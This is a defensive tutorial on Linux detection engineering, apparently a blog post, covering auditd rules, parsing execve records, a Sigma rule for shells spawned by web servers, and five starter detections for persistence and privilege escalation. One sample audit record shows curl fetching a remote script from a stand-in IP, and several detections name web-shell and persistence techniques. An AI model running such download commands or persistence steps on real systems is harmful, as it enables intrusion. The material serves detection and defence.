Detection Engineering on Linux: auditd and Beyond

Most detection content is Windows content. Then you inherit a fleet of Linux servers and discover there is no Sysmon. Here is what you build on instead.

Pick your sensor

• auditd - the kernel audit subsystem. Present on every enterprise distro, nothing to buy, verbose and awkward to parse. The default answer.
• eBPF sensors (Falco, Tetragon, modern EDR agents) - richer process lineage and container context, at the cost of running an agent.
• Plain syslog - /var/log/auth.log on Debian/Ubuntu, /var/log/secure on RHEL. Still carries your highest-value identity events.

An audit ruleset worth ingesting

Put this in /etc/audit/rules.d/detect.rules and load it with augenrules --load:

-a always,exit -F arch=b64 -S execve -F auid>=1000 -F auid!=4294967295 -k exec
-w /etc/passwd -p wa -k identity
-w /etc/sudoers -p wa -k sudoers
-w /etc/sudoers.d -p wa -k sudoers
-w /etc/cron.d -p wa -k cron
-w /etc/ld.so.preload -p wa -k preload

-F auid>=1000 limits execve auditing to real logged-in users instead of every system daemon, which is the difference between a usable feed and a disk-space incident (4294967295 is the unset auid). Be deliberate about that trade: a web shell running as the web server user has no login auid, so on internet-facing hosts add a rule for those specific uids instead of relying on the filter. Confirm what is actually loaded with auditctl -l.

Read one execution

A single execve produces several records that share one event id:

type=SYSCALL msg=audit(1756450462.113:2091): arch=c000003e syscall=59 success=yes exit=0 ppid=2043 pid=2098 auid=1001 uid=1001 comm="curl" exe="/usr/bin/curl" key="exec"
type=EXECVE msg=audit(1756450462.113:2091): argc=3 a0="curl" a1="-s" a2="http://198.51.100.20/p.sh"

Three things to know before you write rules against this:

• The command line is split into a0, a1 ... aN. A contains match against a single command-line field will match nothing until your parser reassembles the arguments.
• Arguments are hex-encoded when they contain spaces or special characters, so a2 may arrive as a hex blob. ausearch -i interprets them; if you ship raw records to the SIEM, decode at parse time or your string matches quietly fail.
• key= is your cheapest pivot. It is whatever label you set with -k: ausearch -k exec -ts recent -i.

syscall=59 is execve on x86_64 (arch=c000003e), which is why the rule specifies arch=b64.

Sigma speaks Linux too

title: Shell Spawned By Web Server Process
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    ParentImage|endswith:
      - '/nginx'
      - '/php-fpm'
      - '/httpd'
    Image|endswith:
      - '/bash'
      - '/sh'
      - '/dash'
  condition: selection
falsepositives:
  - Deployment hooks that shell out from the web tier
level: high

For raw audit records the logsource is product: linux with service: auditd; authentication rules use service: sshd or service: sudo against the syslog stream, where the lines look like this:

Aug 29 10:15:03 web01 sshd[2417]: Accepted publickey for deploy from 203.0.113.42 port 51022 ssh2
Aug 29 10:14:22 web01 sudo:   deploy : TTY=pts/0 ; PWD=/srv/app ; USER=root ; COMMAND=/bin/bash

The first five detections to build

1. New authorized_keys entries - cheap persistence, rarely legitimate outside provisioning.
2. NOPASSWD additions under /etc/sudoers.d - a passwordless sudo entry for a service account is privilege escalation waiting to be used.
3. A shell spawned by a web-tier process - the web-shell signature, as above.
4. Cron and systemd persistence - writes to /etc/cron.d, /var/spool/cron/ (RHEL) or /var/spool/cron/crontabs/ (Debian), and new .service or .timer units in /etc/systemd/system.
5. Execution from a writable path - /tmp, /dev/shm, /var/tmp. Mount them noexec where you can and alert on the attempt where you cannot.

One caveat for containers: a host-level audit sensor sees the syscall but not the image or pod it came from. Enrich with the container runtime, or your "shell in production" alert will name a pid on a node and nothing else.